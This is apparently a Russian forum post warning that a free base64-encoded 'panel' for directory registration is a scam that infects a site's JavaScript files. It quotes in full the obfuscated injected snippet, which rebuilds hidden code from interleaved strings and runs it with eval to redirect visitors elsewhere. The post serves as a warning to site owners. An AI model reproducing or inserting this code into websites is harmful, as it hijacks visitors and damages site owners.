Именно развод!
Как уже всем известно, бесплатный только сыр в мышеловке. Вы видели этот файл? Он закодирован в base64 если раскодировать, то там якобы панель. Но если копнуть глубже, то пока будет идти регистрация по каталогам, все Ваши js файлы будут дописаны вот таким кодом:
Цитата |
---|
(function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());
|
И все Ваши посетители будут отправляться на другой сайт. Так же Вы получите климо от Яндекса «Поведенческий анализ»!
Уже проверено не 1 моим клиентом, устал чистить ихние сайты, чтоб вернуть в прежнее состояние! Так что если желаете получить вирус, то воспользуйтесь! Нет? Тогда проходите мимо.